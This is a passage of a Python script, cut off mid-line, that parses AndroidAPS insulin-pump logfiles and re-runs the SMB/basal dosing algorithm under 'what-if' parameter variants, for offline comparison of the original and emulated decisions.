INIT\t\tStarted\t08.Dec.2019\t\t\tAuthor\tGerhard Zellermann\r\n# - adapted from scanAPSlog.py\r\n\r\nimport sys\r\nimport os\r\nimport glob\r\nfrom email.utils import formatdate\r\nimport datetime\r\nfrom datetime import timezone\r\nimport time\r\nimport json\r\nimport zipfile\r\nfrom decimal import *\r\nimport binascii\r\nimport matplotlib.pyplot as plt\r\nfrom matplotlib.animation import FFMpegWriter\r\nfrom matplotlib.backends.backend_pdf import PdfPages\r\n\r\nimport determine_basal as detSMB\r\nfrom determine_basal import my_ce_file \r\n\r\n\r\ndef hole(sLine, Ab, Auf, Zu):\r\n #E extrahiere Substring ab der Stelle \"ab\"\r\n #E\tbeginnend mit dem Zeichen \"Auf\" bis zum Zeichen \"Zu\"\r\n #E\twobei Level gezählt werden wie in \"...[xxx[yy]]...\"\r\n offsetAnf = 0\r\n offsetEnd = 0\r\n Anf_pos = sLine[Ab:].find(Auf) + Ab\r\n #if sLine.find('[Intent')<3: print('hole gerufen mit:' , Auf, ' an Stelle', str(Anf_pos), 'in '+sLine)\r\n while Anf_pos>=0:\r\n End_pos = sLine[Anf_pos+offsetEnd+1:].find(Zu) + Anf_pos+offsetEnd+1\r\n #if sLine.find('[Intent')<3: print(str(Anf_pos)+':'+ Auf+', '+ str(End_pos)+':'+ Zu, 'in '+sLine[Anf_pos+offsetEnd+1:])\r\n if End_pos == Anf_pos+offsetEnd+1*0: break\r\n Zw_Anf = sLine[Anf_pos+offsetAnf+1:End_pos].find(Auf) + Anf_pos+offsetAnf+1\r\n #if sLine.find('[Intent')<3: print ('suche 2. Vorkommen von '+Auf+' in '+sLine[Anf_pos+offsetAnf+1:End_pos])\r\n #if sLine.find('[Intent')<3: print (str(Zw_Anf), str(offsetAnf), str(offsetEnd))\r\n if Zw_Anf==Anf_pos+offsetAnf: #+1 or Zw_Anf>End_pos:\r\n return sLine[Anf_pos:End_pos+1]\r\n break\r\n offsetAnf = Zw_Anf - Anf_pos\r\n offsetEnd = End_pos - Anf_pos #+ 1\r\n #wdhl = input('any key')\r\n return ''\r\n\r\ndef GetStr(Curly, Ab, Key):\r\n #E extrahiere Substring für Flag \"Key\" ab der Stelle Ab\r\n\r\n wo\t= Curly[Ab:].find('\"' + Key +'\"') + Ab\r\n if wo < Ab:\r\n Found = ''\r\n else:\r\n bis\t\t= Curly[wo+len(Key)+4:].find('\"') + wo+len(Key)+4\r\n Found\t= Curly[wo+len(Key)+4:bis]\r\n #print (str(wo), str(bis))\r\n return Found \r\n\r\ndef GetValStr(Curly, Ab, Key):\r\n #E extrahiere Number as String für Flag \"Key\" ab der Stelle Ab\r\n\r\n wo\t= Curly[Ab:].find('\"' + Key +'\"') + Ab\r\n if wo < Ab:\r\n Found = ''\r\n else:\r\n bis\t\t= Curly[wo+len(Key)+3:].find(',') + wo+len(Key)+3\r\n Found\t= Curly[wo+len(Key)+3:bis]\r\n #print (str(wo), str(bis))\r\n return Found \r\n\r\ndef GetUnquotedStr(Curly, Ab, Key):\r\n #E extract unquoted String für Flag \"Key\" ab der Stelle Ab up to next COMMA\r\n\r\n wo\t= Curly[Ab:].find(Key) + Ab\r\n if wo < Ab:\r\n Found = ''\r\n else:\r\n bis\t\t= Curly[wo+len(Key)+0:].find(',') + wo+len(Key)+0\r\n Found\t= Curly[wo+len(Key)+0:bis]\r\n #print (str(wo), str(bis))\r\n return Found \r\n\r\ndef printBool(treat, key, log):\r\n if 'isSMB' in treat: isSMB = treat[key]\r\n else: isSMB = False\r\n log.write(' ' + (key+' ')[:5] + '=' + str(isSMB) + '\\n')\r\n\r\ndef printStr(treat, key, log):\r\n if key in treat:\r\n myStr = treat[key]\r\n wo = myStr.find('\\n')\r\n if wo>0:\r\n myEnd = myStr[wo+1:] # \\n counts as 1 character !!\r\n myStr = myStr[:wo] + ' --> ' + myEnd # Announcements often take 2 lines\r\n else:\r\n myStr = ''\r\n log.write(' ' + (key+' ')[:10] + '=' + myStr + '\\n')\r\n\r\ndef printVal(treat, key, log):\r\n log.write(' ' + (key+' ')[:6] + '=' + str(treat[key]) + '\\n')\r\n\r\ndef getReason(reason, keyword, ending, dezi):\r\n wo_key = reason.find(keyword)\r\n #print (wo_key, reason + '\\n')\r\n if wo_key < 0:\r\n #print (keyword , 'nicht gefunden')\r\n return ''\r\n else:\r\n wo_com = reason[wo_key+len(keyword)+1:].find(ending) + wo_key+len(keyword)+1\r\n #print (reason[wo_key:])\r\n key_str = reason[wo_key+len(keyword):wo_com]\r\n #print ('complete-->', keyword, '['+key_str+']')\r\n #key_str = key_str[:-1]\r\n #print (' capped-->', keyword, '['+key_str+']')\r\n return key_str\r\n\r\ndef basalFromReason(smb, lcount):\r\n #print(str(smb))\r\n suggest = smb['openaps']['suggested']\r\n if 'rate' in suggest :\r\n rateReq = suggest['rate']\r\n elif 'TempBasalAbsoluteRate' in smb['pump']['extended']:\r\n rateReq = smb['pump']['extended']['TempBasalAbsoluteRate']\r\n else:\r\n rateReq = 0 # zero if not explicitely listed\r\n #print('rateReq in row '+str(lcount)+' from \"suggest.json\" is ['+str(rateReq)+']')\r\n\r\n return str(rateReq)\r\n\r\ndef basalFromReasonOnlyold(reason, lcount):\r\n # the method below is very difficult and still incomplete\r\n # obviously various programmers followed differnet logic how to declare the new rate \r\n if reason.find('no temp required')>1 :\r\n tempReq = '0'\r\n tempSource = \"no temp required\"\r\n else :\r\n tempReq = getReason(reason, 'maxSafeBasal:', ',', 3)\r\n tempSource = \"maxSafeBasal:...,\"\r\n if tempReq == '':\r\n tempReq = getReason(reason, 'temp', '~<', 3)\r\n tempSource = \"temp...~<\"\r\n if tempReq == '':\r\n tempReq = getReason(reason, 'temp', '>~', 3)\r\n tempSource = \"temp...>~\"\r\n if tempReq == '':\r\n tempReq = getReason(reason, '<', 'U', 3)\r\n tempSource = \"<...U\"\r\n if tempReq == '':\r\n tempReq = getReason(reason, '~ req', 'U', 3)\r\n tempSource = \"~ req...U\"\r\n if tempReq == '':\r\n tempReq = getReason(reason, 'temp of', 'U', 3)\r\n tempSource = \"temp of...U\"\r\n if tempReq == '':\r\n tempReq = getReason(reason, 'temp', '<', 3)\r\n tempSource = \"temp...<\"\r\n if tempReq != '': tempReq = str(round(eval(tempReq),4))\r\n else : tempReq = '0'\r\n log_msg('tempReq in row '+str(lcount)+' from \"'+tempSource+'\" is ['+tempReq+']')\r\n \r\n return tempReq\r\n\r\ndef basalFromReasonOnly(reason, lcount):\r\n # the method below is very difficult and still incomplete\r\n # obviously various programmers followed differnet logic how to declare the new rate \r\n if reason.find('no temp required')>1 :\r\n tempReq = '0'\r\n tempSource = \"no temp required\"\r\n else :\r\n tempReq = getReason(reason, 'maxSafeBasal:', ',', 3)\r\n tempSource = \"maxSafeBasal:...,\"\r\n if tempReq == '':\r\n tempReq = getReason(reason, 'temp', '~<', 3)\r\n tempSource = \"temp...~<\"\r\n if tempReq == '':\r\n tempReq = getReason(reason, 'temp', '>~', 3)\r\n tempSource = \"temp...>~\"\r\n if tempReq == '':\r\n tempReq = getReason(reason, 'm low temp of', 'U', 3) # near source row 1049\r\n tempSource = \"m low temp of...U\"\r\n if tempReq == '':\r\n tempReq = getReason(reason, 'temp of', 'U', 3)\r\n tempSource = \"temp of...U\"\r\n if tempReq == '':\r\n tempReq = getReason(reason, 'setting', 'U', 3)\r\n tempSource = \"setting...U\"\r\n if tempReq == '':\r\n tempReq = getReason(reason, '<', 'U', 3)\r\n tempSource = \"<...U\"\r\n if tempReq == '':\r\n tempReq = getReason(reason, '~ req', 'U', 3)\r\n tempSource = \"~ req...U\"\r\n if tempReq == '':\r\n tempReq = getReason(reason, 'temp', '<', 3)\r\n tempSource = \"temp...<\"\r\n #print('tempReq in row '+str(lcount)+' from \"'+tempSource+'\" is ['+tempReq+']')\r\n if tempReq != '': tempReq = str(round(eval(tempReq),4))\r\n else : tempReq = '0'\r\n #print('tempReq in row '+str(lcount)+' from \"'+tempSource+'\" is ['+tempReq+']')\r\n \r\n return tempReq\r\n\r\ndef basalFromEmulation(returned, lcount):\r\n #returned = json.loads(reason)\r\n if 'rate' in returned:\r\n tempReq = returned['rate'] # soecific basal rate requested\r\n else:\r\n tempReq = currenttemp['rate'] # no change, keep current basal rate\r\n return str(round(tempReq,4))\r\n\r\ndef setVariant(stmp):\r\n # set the what-if scenario\r\n global autosens_data\r\n global glucose_status\r\n global bg\r\n global currenttemp\r\n global iob_data\r\n global meal_data\r\n global profile\r\n ####################################################################################################################################\r\n # additional parameters collected here\r\n # these need an according modification in \"determine_basal.py\"\r\n new_parameter = {}\r\n # first, do the AAPS standard assignments ### variations are set in the .dat file\r\n new_parameter['maxDeltaRatio'] = 0.2 ### additional parameter; AAPS is fix at 0.2\r\n new_parameter['SMBRatio'] = 0.5 ### additional parameter; AAPS is fix at 0.5; I use 0.6 as no other rig interferes\r\n new_parameter['maxBolusIOBUsual'] = True ### additional parameter; AAPS is fix at True, but my basal is too low\r\n new_parameter['maxBolusIOBRatio'] = 1 ### additional parameter; AAPS is fix at 1, but my basal is too low\r\n new_parameter['maxBolusTargetRatio'] = 1.001 ### additional parameter; AAPS is fix at 1, bit i saw rounding problems otherwise\r\n new_parameter['insulinCapBelowTarget'] = False ### additional parameter; AAPS is fix at False; enable capping below target\r\n \r\n ####################################################################################################################################\r\n STAIR = {} # for staircase type functions like basal\r\n INTERPOL = [] # for linear interpolation between values\r\n flag_staircase = False\r\n # read the variations and apply them\r\n fnam= varLabel + '.dat'\r\n var = open(varFile, 'r')\r\n for zeile in var:\r\n # get array name\r\n woEndArray = zeile.find(' ')\r\n myArray = zeile[:woEndArray]\r\n zeile = zeile[woEndArray:] # remaining stuff to be parsed\r\n while zeile[0] == ' ': zeile = zeile[1:] # truncate leading BLANKS\r\n woEndItem = zeile.find(' ')\r\n myItem = zeile[:woEndItem]\r\n zeile = zeile[woEndItem:] # remaining stuff to be parsed\r\n while zeile[0] == ' ': zeile = zeile[1:] # truncate leading BLANKS\r\n woEndVal = zeile.find('###')\r\n if woEndVal<0 and zeile[-1]=='\\n': woEndVal = len(zeile) - 1 # no trailing comment; drop \r\n myVal = zeile[:woEndVal]\r\n if myVal != '':\r\n while myVal[-1] == ' ' : myVal = myVal[:-1] # truncate trailing BLANKS\r\n #print('['+myArray+'], ['+myItem+'], ['+myVal+']')\r\n \r\n woSTAIR = myVal.find('STAIR')\r\n if woSTAIR >= 0: # get value from last valid step\r\n for STEP in STAIR:\r\n if STEP == stmp:\r\n newVal = STAIR[STEP]\r\n break\r\n elif STEP > stmp:\r\n break\r\n newVal = STAIR[STEP]\r\n myVal = myVal[:woSTAIR] + str(newVal) + myVal[woSTAIR+5:]\r\n\r\n woINTERPOL = myVal.find('INTERPOL')\r\n if woINTERPOL>= 0: # get value from last valid step\r\n (STEP, sVal) = INTERPOL[0] # low end tuple\r\n (STEPt, sValt) = INTERPOL[len(INTERPOL)-1] # high end tuple\r\n if STEP > stmp: # extrapolate backwards\r\n (STEPt, sValt) = INTERPOL[1] # second tuple\r\n lowVal = sVal\r\n topVal = sValt\r\n lowTime= ConvertSTRINGooDate(STEP)\r\n myTime = ConvertSTRINGooDate(stmp)\r\n topTime= ConvertSTRINGooDate(STEPt)\r\n newVal = lowVal + (topVal-lowVal)/(topTime-lowTime)*(myTime-lowTime)\r\n elif STEPt < stmp: # extrapolate forwards\r\n (STEP, sVal) = INTERPOL[len(INTERPOL)-2] # last but 1 tuple\r\n lowVal = sVal\r\n topVal = sValt\r\n lowTime= ConvertSTRINGooDate(STEP)\r\n myTime = ConvertSTRINGooDate(stmp)\r\n topTime= ConvertSTRINGooDate(STEPt)\r\n newVal = lowVal + (topVal-lowVal)/(topTime-lowTime)*(myTime-lowTime)\r\n else: # interpolate inside range\r\n for i in range(len(INTERPOL)):\r\n (STEP, sVal) = INTERPOL[i]\r\n if STEP == stmp:\r\n newVal = INTERPOL[STEP]\r\n break\r\n elif STEP > stmp:\r\n topVal = sVal\r\n lowTime= ConvertSTRINGooDate(lowLabl)\r\n myTime = ConvertSTRINGooDate(stmp)\r\n topTime= ConvertSTRINGooDate(STEP)\r\n newVal = lowVal + (topVal-lowVal)/(topTime-lowTime)*(myTime-lowTime)\r\n break\r\n lowVal = sVal \r\n lowLabl= STEP\r\n myVal = myVal[:woINTERPOL] + str(newVal) + myVal[woINTERPOL+8:]\r\n\r\n logmsg = 'appended new entry to'\r\n validRow = True\r\n if myArray == 'autosens_data' :\r\n if myItem in autosens_data :\r\n logmsg = 'edited old value of '+str(autosens_data[myItem])+' in'\r\n autosens_data[myItem] = eval(myVal)\r\n logres = str(autosens_data[myItem])\r\n elif myArray == 'glucose_status' :\r\n if myItem in glucose_status :\r\n logmsg = 'edited old value of '+str(glucose_status[myItem])+' in'\r\n glucose_status[myItem] = eval(myVal)\r\n logres = str(glucose_status[myItem])\r\n elif myArray == 'currenttemp' :\r\n if myItem in currenttemp :\r\n logmsg = 'edited old value of '+str(currenttemp[myItem])+' in'\r\n currenttemp[myItem] = eval(myVal)\r\n logres = str(currenttemp[myItem])\r\n elif myArray == 'iob_data' :\r\n if myItem in iob_data :\r\n logmsg = 'edited old value of '+str(iob_data[myItem])+' in'\r\n iob_data[myItem] = eval(myVal)\r\n logres = str(iob_data[myItem])\r\n elif myArray == 'meal_data' :\r\n if myItem in meal_data :\r\n logmsg = 'edited old value of '+str(meal_data[myItem])+' in'\r\n meal_data[myItem] = eval(myVal)\r\n logres = str(meal_data[myItem])\r\n elif myArray == 'profile' :\r\n if myItem in profile :\r\n logmsg = 'edited old value of '+str(profile[myItem])+' in'\r\n profile[myItem] = eval(myVal)\r\n logres = str(profile[myItem])\r\n elif myArray == 'new_parameter' :\r\n if myItem in new_parameter :\r\n logmsg = 'edited old value of '+str(new_parameter[myItem])+' in'\r\n new_parameter[myItem] = eval(myVal)\r\n logres = str(new_parameter[myItem])\r\n elif myArray == 'STAIR' :\r\n STAIR[myItem] = eval(myVal)\r\n elif myArray == 'INTERPOL' :\r\n if len(myItem) < 24: # incomplete UTC time label\r\n oldLen = len(myItem)\r\n if myItem[oldLen-1:] == 'Z':\r\n oldLen += -1\r\n myItem = myItem[:-1]\r\n myItem = myItem + '00:00:00.000Z'[oldLen-11:]\r\n INTERPOL.append((myItem, eval(myVal)) )\r\n else:\r\n validRow = False\r\n \r\n if validRow: varlog.write(logmsg+' '+myArray+' with '+myItem+'='+logres+'\\n')\r\n else: varlog.write('not actioned: ['+myArray+'], ['+myItem+'], ['+myVal+']'+'\\n')\r\n \r\n ####################################################################################################################################\r\n # final clean up\r\n profile['new_parameter'] = new_parameter ### use profile as piggyback to get parameters into determine_basal\r\n bg[-1] = glucose_status['glucose'] ### just in case it got changed \r\n global emulTarLow\r\n global emulTarHig\r\n emulTarLow[-1] = profile['min_bg'] ### please do not touch\r\n emulTarHig[-1] = profile['max_bg'] ### please do not touch\r\n global emulAs_ratio\r\n emulAs_ratio.append(autosens_data['ratio']*10)\r\n\r\ndef getOrigPred(predBGs):\r\n Fcasts = {}\r\n for BGs in predBGs:\r\n Fcasts[BGs] = predBGs[BGs]\r\n #print ('orig preds --> '+str(Fcasts))\r\n return Fcasts\r\n\r\ndef TreatLoop(Curly, log, lcount):\r\n global SMBreason\r\n global loop_mills\r\n global loop_label\r\n global origInsReq\r\n global origSMB\r\n global emulSMB\r\n global origMaxBolus\r\n global emulMaxBolus\r\n global origBasal\r\n global lastBasal\r\n global Pred\r\n global FlowChart\r\n #print('\\nentered TreatLoop for row '+str(lcount)+' ending with /'+Curly[-1]+'/ having '+Curly[780:800]+'\\n'+Curly)\r\n wo_apo = Curly.find(\"\\'\")\r\n if wo_apo>0:\r\n Curly = Curly[:wo_apo-1]+Curly[wo_apo:]\r\n #print(\"found \\' at position \"+str(wo_apo)+\"\\n\" +Curly)\r\n smb = json.loads(Curly)\r\n if 'openaps' in smb: # otherwise unknown source of entry\r\n suggest = smb['openaps']['suggested']\r\n #thisTime = int(round(time.time() * 1000)) # use as now() or the emulated execution tiume\r\n stmp = suggest['deliverAt']\r\n if t_startLabel > stmp : # too early\r\n SMBreason = {} # clear for first filtered debug list\r\n SMBreason['script'] = '---------- Script Debug --------------------\\n'\r\n return 'MORE' \r\n if t_stoppLabel < stmp : return 'STOP' # too late; send quit signal\r\n thisTime = ConvertSTRINGooDate(stmp)\r\n loop_mills.append(round(thisTime/1000, 1) ) # from millis to secs\r\n loop_label.append(stmp[11:19] + stmp[-1]) # include seconds to distinguish entries\r\n #print('len loop_mills='+str(len(loop_mills))+'; len labels='+str(len(loop_label)))\r\n reason = suggest['reason']\r\n if 'insulinReq' in suggest:\r\n log.write('\\n========== DELTA in row ' + str(lcount) + ' SMB ========== of logfile '+fn+'\\n')\r\n log.write(' created at= ' + smb['created_at'] + '\\n')\r\n log.write(SMBreason['script']) # the script debug section\r\n #printVal(suggest, 'bg', log)\r\n origcob.append(round(suggest['COB'], 1))\r\n #log.write(' COB =' + str(cob) + '\\n')\r\n #iob.append(round(suggest['IOB']*10, 1)) # done in iob-data\r\n key = 'insulinReq'\r\n ins_Req = suggest[key]\r\n #log.write(' ' + (key+' ')[:6] + '=' + str(insReq) + '\\n')\r\n if ins_Req > 0.0: # can be empty string; was >0.2 before\r\n mySMB = getReason(reason, 'Microbolusing', 'U', 1)\r\n maxBol = getReason(reason, 'maxBolus', '. ', 1)\r\n if len(maxBol) > 5 :\r\n maxBol = getReason(reason, 'maxBolus', '; ', 1)\r\n else:\r\n mySMB = '0'\r\n maxBol = '0'\r\n else:\r\n ins_Req = 0\r\n mySMB = '0'\r\n maxBol = '0'\r\n if mySMB == '' : mySMB = '0'\r\n if maxBol== '' : maxBol= '0'\r\n origSMB.append(eval(mySMB))\r\n origMaxBolus.append(eval(maxBol))\r\n log.write('---------- Reason --------------------------\\n' + str(reason) + '\\n')\r\n tempReq = basalFromReason(smb, lcount)\r\n origBasal.append(round(eval(tempReq), 4))\r\n \r\n # now we can set the remaining iob data section\r\n last_temp = {}\r\n last_temp['typeof'] = 'dummy' # may be anything\r\n last_temp['date'] = thisTime - SMBreason['lastTempAge'] *60*1000 # copy from original logfile\r\n last_temp['rate'] = currenttemp['rate']\r\n last_temp['duration'] = currenttemp['duration']\r\n iob_data['lastTemp']= last_temp\r\n lastBasal.append(currenttemp['rate'])\r\n \r\n log = open(ce_file, 'a')\r\n log.write('\\n========== '+varLabel+' loop in row ' + str(lcount) +' ========== of logfile '+fn+'\\n')\r\n log.write(' created at= ' + stmp[:-5]+stmp[-1] +'\\n')\r\n log.write('---------- Script Debug --------------------\\n')\r\n log.close()\r\n #tempBasalFunctions = set_tempBasalFunctions() # look up in profile\r\n reservoir = 47 # currently fixed\r\n tempBasalFunctionsDummy = '' # is handled inside determine_basal as import\r\n origInsReq.append(ins_Req)\r\n varlog.write('\\nloop execution in row='+str(lcount)+' of logfile '+fn+' at= ' + smb['created_at'] + '\\n')\r\n setVariant(stmp)\r\n Fcasts = getOrigPred(suggest['predBGs'])\r\n Flows = []\r\n reT = detSMB.determine_basal(glucose_status, currenttemp, iob_data, profile, autosens_data, meal_data, tempBasalFunctionsDummy, True, reservoir, thisTime, Fcasts, Flows)\r\n reason = echo_rT(reT) # overwrite the original reason\r\n maxBolStr = getReason(reason, 'maxBolus', '. ', 1)\r\n if len(maxBolStr) > 5 :\r\n maxBolStr = getReason(reason, 'maxBolus', '; ', 1)\r\n if maxBolStr == '' : maxBolStr = '0'\r\n emulMaxBolus.append(eval(maxBolStr))\r\n mySMBstr = getReason(reason, 'Microbolusing', 'U', 1)\r\n if mySMBstr == '' : mySMBstr = '0'\r\n emulSMB.append(eval(mySMBstr))\r\n\r\n if reason.find('COB: 0,') == 0: \r\n Fcasts['COBpredBGs'] = [] # clear array if COB=0\r\n Pred[round(thisTime/1000,1)] = Fcasts\r\n FlowChart[round(thisTime/1000,1)] = Flows\r\n #print(str(FlowChart))\r\n #next loop execution\r\n SMBreason = {} # clear for next debug list\r\n SMBreason['script'] = '---------- Script Debug --------------------\\n'\r\n return 'MORE'\r\n\r\ndef PrepareSMB(zeile, log, lcount):\r\n # collect SMB detail echos before actual, compacted loop protocol comes\r\n global SMBreason\r\n key_str = '[LoggerCallback.jsFunction_log():39]'\r\n what_anf = zeile.find(key_str)\r\n what = zeile[what_anf+len(key_str)+2:]\r\n SMBreason['script'] += what\r\n if what.find('SMB enabled')==0:\r\n SMBreason['rowON'] = lcount\r\n SMBreason['whyON'] = what[:-1]\r\n elif what.find('disabling SMB')>0:\r\n SMBreason['rowOFF'] = lcount\r\n SMBreason['whyOFF'] = what[:-1]\r\n elif what.find('maxBolus: ')>0:\r\n SMBreason['maxSMB'] = what[-4:-1]\r\n elif what.find('gz maximSMB: from ')==0:\r\n SMBreason['maxBolus'] = what[:-1]\r\n elif what.find('currenttemp:')==0: # unclear source of TempAge, but should be the same in emulation\r\n wo_anf = what.find('lastTempAge:')\r\n wo_end = what.find(' m tempModulus:')\r\n SMBreason['lastTempAge'] = eval(what[wo_anf+13:wo_end])\r\n\r\ndef featured(Option):\r\n # check whethter this feature was in the option list passed from OO.odb\r\n # or if ALL option were enabled\r\n # otherwise FALSE\r\n OK = 'All' in doit or Option in doit\r\n if '-'+Option in doit: OK = False # explicitly excluded\r\n return OK\r\n\r\ndef get_glucose_status(lcount, st) : # key = 80\r\n Curly = st[16:]\r\n global glucose_status\r\n global bg\r\n global newLoop\r\n newLoop = True\r\n #print('entered glucose_status for row '+str(lcount)+' with\\n'+Curly)\r\n glucose_status = json.loads(Curly)\r\n glucose_status['row'] = lcount\r\n if len(bg)==len(loop_mills) :\r\n bg.append(glucose_status['glucose']) # start next iteration\r\n else:\r\n bg[-1] = (glucose_status['glucose']) # overwrite as last loop was not finished\r\n #print ('\\nbg data found in row '+str(lcount)+', total count='+str(len(bg))\r\n pass\r\n\r\ndef get_iob_data(lcount, st, log) : # key = 81\r\n if isZip:\r\n Curly = st[16:] # zip format: dropped the earlier\r\n else:\r\n Curly = st[16:-1] # drop the \r\n global iob_data\r\n global activity\r\n iob_array = json.loads(Curly)\r\n iob_data = {}\r\n iob_data['typeof'] = 'dummy' # may be anything\r\n # get first record as current iob\r\n rec_0 = iob_array[0]\r\n for ele in rec_0 :\r\n if ele != 'iobWithZeroTemp': iob_data[ele] = rec_0[ele]\r\n if ele == 'iob':\r\n act = rec_0[ele]\r\n if len(origiob) ==len(loop_mills):\r\n origiob.append(act*10)\r\n else:\r\n origiob[-1] = (act*10)\r\n if ele == 'activity':\r\n act = rec_0[ele]\r\n if len(activity) ==len(loop_mills):\r\n activity.append(act*1000)\r\n else:\r\n activity[-1] = (act*1000)\r\n \r\n iob_data['iobArray']= iob_array\r\n #print ('preliminary iob data json --> '+str(lcount) +' : '+ str(iob_data))\r\n #for ele in iob_array:\r\n # log.write(str(ele)+':'+'\\n')\r\n #print ('iob data found in row '+str(lcount)+', total count='+str(len(iob_data)))\r\n pass\r\n\r\ndef get_currenttemp(lcount, st) : # key = 82\r\n Curly = st[16:]\r\n global currenttemp\r\n currenttemp = json.loads(Curly)\r\n currenttemp[\"typeof\"] =\"dummy\" # may be anything\r\n currenttemp[\"row\"] = lcount\r\n #print ('currenttemp json --> '+str(currenttemp))\r\n pass\r\n\r\ndef get_profile(lcount, st) : # key = 83\r\n Curly = st[16:]\r\n global profile\r\n global origTarLow\r\n global origTarHig\r\n global emulTarLow\r\n global emulTarHig\r\n profile = json.loads(Curly)\r\n profile['maxDeltaRatio'] = 0.2 ### additional parameter; define standard\r\n profile['row'] = lcount\r\n # unknown source, use apparent default:\r\n profile['remainingCarbsFraction'] = 1\r\n #profile['temptargetSet'] = True # historical logfiles say FALSE !!!!!!!!!!!!!!!!\r\n profile['sensitivity_raises_target'] = False # missing from historical logfiles !!!!!!!!!!!!!!!!\r\n if len(origTarLow)==len(loop_mills) : # start next iteration\r\n origTarLow.append(profile['min_bg'])\r\n emulTarLow.append(origTarLow[-1])\r\n origTarHig.append(profile['max_bg'])\r\n emulTarHig.append(origTarHig[-1])\r\n else: # overwrite as last loop was not finished\r\n origTarLow[-1] = profile['min_bg']\r\n emulTarLow[-1] = origTarLow[-1]\r\n origTarHig[-1] = profile['max_bg']\r\n emulTarHig[-1] = origTarHig[-1]\r\n #print ('master profile json in row '+str(lcount)+' --> '+str(profile))\r\n #print ('target data found in row '+str(lcount)+', total count origTarLow='+str(len(origTarLow)))\r\n #print ('target data found in row '+str(lcount)+', total count emulTarLow='+str(len(origTarLow)))\r\n pass\r\n\r\ndef get_meal_data(lcount, st) : # key = 84\r\n Curly = st[16:]\r\n global meal_data\r\n meal_data = json.loads(Curly)\r\n meal_data['row'] = lcount\r\n # use fixed settings for the time being ...\r\n meal_data['bwCarbs'] = False # bolus wizzard carbs\r\n meal_data['bwFound'] = False # bolus wizzard used ?\r\n #print ('meal data json --> '+str(meal_data))\r\n pass\r\n\r\ndef get_autosens_data(lcount, st) : # key = 86\r\n Curly = st[16:]\r\n global autosens_data\r\n global As_ratio\r\n autosens_data = json.loads(Curly)\r\n autosens_data['typeof'] = 'dummy' # may be anything\r\n autosens_data['row'] = lcount\r\n if len(origAs_ratio) ==len(loop_mills) :\r\n origAs_ratio.append(autosens_data['ratio']*10)\r\n else:\r\n origAs_ratio[-1] = (autosens_data['ratio']*10)\r\n pass\r\n\r\ndef ConvertSTRINGooDate(stmp) :\r\n # stmp is datetime string incl millis, i.e. like \"2019-05-22T12:06:48.091Z\"\r\n if stmp < \"2019-10-27T03:00:00.000Z\":\r\n dlst = 3600 # dlst period summer 2019\r\n elif stmp < \"2020-03-29T02:00:00.000Z\":\r\n dlst = 0 # no dlst period winter 2019/20\r\n else:\r\n dlst = 3600 # dlst period summer 2020\r\n MSJahr\t\t= eval( stmp[ 0:4])\r\n MSMonat\t\t= eval('1'+stmp[ 5:7]) -100\r\n MSTag\t\t= eval('1'+stmp[ 8:10])-100\r\n MSStunde\t= eval('1'+stmp[11:13])-100\r\n MSMinute\t= eval('1'+stmp[14:16])-100\r\n MSSekunde\t= eval('1'+stmp[17:19])-100\r\n MSmillis = eval('1'+stmp[20:23])-1000\r\n #print ('millis aus '+stmp+' = '+str(MSmillis))\r\n NumericDate= datetime.datetime(MSJahr, MSMonat, MSTag, MSStunde, MSMinute, MSSekunde, MSmillis*1000)\r\n #imestamp = NumericDate.replace(tzinfo=timezone.utc).timestamp() + 3600 # 1h MEZ offset\r\n #print('entered Convert.. with stmp='+stmp+'\\n NumericDate='+str(NumericDate))\r\n timestamp = int( (NumericDate.timestamp() + 3600 + dlst) * 1000 ) # 1h MEZ offset\r\n #print(' timestamp='+str(timestamp))\r\n #print(\"Eingang: \" + stmp + \"\\nAusgang: \" + str(timestamp) )\r\n return timestamp\r\n\r\ndef scanLogfile(fn):\r\n global SMBreason\r\n global xyf\r\n global fn_base # keep first match in case of wild card file list\r\n global log\r\n global varlog\r\n global newLoop\r\n global dataType_offset\r\n \r\n if not newLoop: # otherwise continued from provious logfile\r\n SMBreason = {}\r\n SMBreason['script'] = '---------- Script Debug --------------------\\n'\r\n dataType_offset = 1 #################### used for V2.6.1\r\n if filecount == 0 : # initalize file loop\r\n fn_base = fn + '.' + varLabel\r\n xyf = open(fn + '.' + varLabel + '.tab', 'w')\r\n varlog = open(fn + '.' + varLabel + '.log', 'w')\r\n log = open(fn + '.orig.txt', 'w')\r\n varlog.write('\\n========== Echo of what-if definitions actioned for variant '+varLabel+'\\n========== created on '+formatdate(localtime=True) + '\\n========== for loop events found in logfile '+fn+'\\n')\r\n log.write('AAPS scan from AAPS Logfile for SMB comparison created on ' + formatdate(localtime=True) + '\\n')\r\n log.write('FILE='+fn + '\\n')\r\n global lcount\r\n #isZip = True # testwise fix\r\n lcount = 0\r\n if isZip:\r\n with zipfile.ZipFile(fn) as z:\r\n for filename in z.namelist():\r\n lf = z.open(filename) # has only 1 member file\r\n else:\r\n lf = open(fn, 'r')\r\n #lf = open(fn, 'r')\r\n notEOF = True # needed because \"for zeile in lf\" does not work with AAPS 2.5\r\n \r\n while notEOF: # needed because \"for zeile in lf\" does not work with AAPS 2.5\r\n try: # needed because \"for zeile in lf\" does not work with AAPS 2.5\r\n zeile = lf.readline() # needed because \"for zeile in lf\" does not work with AAPS 2.5\r\n if isZip: zeile = str(zeile)[2:-3]# strip off the \"'b....'\\n\" remaining from the bytes to str conversion\r\n if zeile == '': # needed because \"for zeile in lf\" does not work with AAPS 2.5\r\n notEOF = False # needed because \"for zeile in lf\" does not work with AAPS 2.5\r\n break # needed because \"for zeile in lf\" does not work with AAPS 2.5\r\n lcount += 1\r\n #print(zeile)\r\n if lcount>100000: \r\n print('no end found at row '+str(lcount)+ ' reading /'+zeile+'/')\r\n return 'STOP'\r\n if len(zeile)>13:\r\n headerKey = zeile[2] + zeile[5] + zeile[8] + zeile[12]\r\n if headerKey == '::. ':\r\n sLine = zeile[13:]\r\n Action = hole(sLine, 0, '[', ']')\r\n sOffset = len(Action)\r\n Block2 = hole(sLine, 1+sOffset, '[', ']')\r\n if Block2 == '[DataService.onHandleIntent():54]' \\\r\n or Block2 == '[DataService.onHandleIntent():55]': # token :54 added for AAPS version 2.5\r\n pass\r\n elif Block2[:-3] == '[DetermineBasalAdapterSMBJS.invoke():': # various input items for loop\r\n dataStr = sLine[sLine.find(']: ')+3:]\r\n dataType = eval(Block2[len(Block2)-3:-1]) # extract last 2 digits as type key\r\n if dataType == 79 : # start counter in V2.5.1 only\r\n dataType_offset = 0 #################### used for V2.5.1\r\n elif dataType == dataType_offset+80 : get_glucose_status(lcount, dataStr)\r\n elif dataType == dataType_offset+81 : get_iob_data(lcount, dataStr, log)\r\n elif dataType == dataType_offset+82 : get_currenttemp(lcount, dataStr)\r\n elif 